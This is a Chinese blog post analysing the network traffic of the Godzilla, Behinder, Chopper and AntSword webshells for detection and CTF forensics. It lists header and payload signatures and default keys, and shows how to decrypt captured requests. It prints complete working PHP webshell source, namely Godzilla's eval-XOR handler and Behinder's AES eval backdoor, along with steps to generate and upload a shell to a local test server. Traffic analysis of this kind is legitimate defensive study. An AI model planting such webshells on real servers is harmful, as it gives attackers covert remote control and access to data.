Loading

Webshell流量

介绍

Webshell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp、jsp和php。比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻

webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些 asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

webshell最大的特点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

Godzilla

特征

User-Agent字段(弱特征),如果采用默认的情况,会暴露使用的jdk信息。不过哥斯拉支持自定义HTTP头部,这个默认特征是可以很容易去除的。

Accept字段(弱特征),默认是Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2。同上,这个也可修改,只能作为辅助检测的特征。

Cookie中有一个非常关键的特征,最后会有个分号;。估计后续的版本会修复。

响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。(将密码和密钥进行拼接,然后进行md5的计算。一共32位。服务器端返回数据的时候,会进行拼接。即服务器端返回数据 = md5前16位+加密数据+md5后16位。)

密码会出现在Post请求中的参数名称

木马建立

参数配置

密码:Post请求中的参数名称,以及用于和密钥一起进行加密运算。

密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程

有效载荷:ASP、java、php、c#四种类型的payload

加密器:base64和raw、evalbase64三大类。

上传过程

首先打开godsilla.jar,管理->生成->php/php_eval_xor,点击生成成功

接着在小皮搭建本地web环境

将刚刚生成的木马放到该根目录下

接下来访问测试木马连接,目标->添加 按如下配置

我们使用dir命令再检验一下

和我们目录下的东西相同

wireshark抓包

测试成功之后,开始执行,右键进入即可,打开wirehshark进行抓包,追踪流

请求报文解密

根据哥斯拉生成木马文件采用的加密器对应的解密方式为:加密方式:encode(密钥)-> base64->strrev字符串逆置->URL(从报文就可以看出),解密时反解即可(请求报文中一般都可以直接看到他的加密方式)

url解码得到

紧接着strrev解码

base64解密得到

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

响应报文解密

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('DlMRWA1cL1gOVDc2MjRhRwZFEQ=='),$key));
//gzdecode有的时候要加,有的时候不要需要,解题时根据具体情况判断即可

根据上述讲解的原理,编写脚本即可解密响应报文的内容

冰蝎

特征

冰蝎2.0

使用AES加密 + base64编码,AES使用动态密钥(在流量中可以找到)对通信进行加密,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。

冰蝎3.0

使用AES加密 + base64编码,取消了2.0的动态获取密钥,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"(即密钥是md5('rebeyond')[0:16]=e45e329feb5d925b)。进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。因此当发现一个ip的请求头中的user-agent在频繁变换,就可能是冰蝎。3.0连接jsp的webshell的请求数据包中的content-type字段常见为application/octet-stream。

冰蝎4.0

提供了传输协议自定义的功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,自定义传输协议的算法就是连接密码。

Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。

Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded

与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。

连接的端口有一定的特征,冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。

使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive

有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,与冰蝎3.0相同。

传输过程

木马建立

注意:一句话木马是无法连接冰蝎的,要使用冰蝎独有的php木马

如下

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

木马配置如下

生成完成之后,都是将木马传到小皮搭建的根目录下,进行连接

wireshark抓包

追踪流

直接AES解密后base64再解密(冰蝎4.0还有其他方式加密,不一定就是AES根据题目具体去判断)

再将其base64解密即可

响应报文同理

菜刀

特征

payload在请求体中,采用url编码+base64编码,payload部分是明文传输。

payload中有eval或assert、base64_decode这样的字符。

payload中有默认固定的&z0=QGluaV9zZXQ...这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。进行base64解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);这段意思是首先关闭报错和magic_quotes,接下来去获取主机的信息。

wireshark抓包

直接base64解密

响应报文中基本就可以看的到明文,也不排除会设置编码

蚁剑

特征

每个请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头。并且响应体的返回结果是base64编码发混淆字符,格式为:随机数 结果 随机数

Conection为close,(我自己发现的也不知道对不对)

wireshark抓包

追踪流

很明显的url加密,解密得到

为了能在响应包中精确的定位$output输出位置,代码通过一些随机字符作为开始和结束分隔符,与使用固定分隔符相比,这种方式在一定程度上能够抵抗网络侧安全设备的检测。

posted @ 2025-01-22 17:52  Yu3Bing  阅读(218)  评论(0)    收藏  举报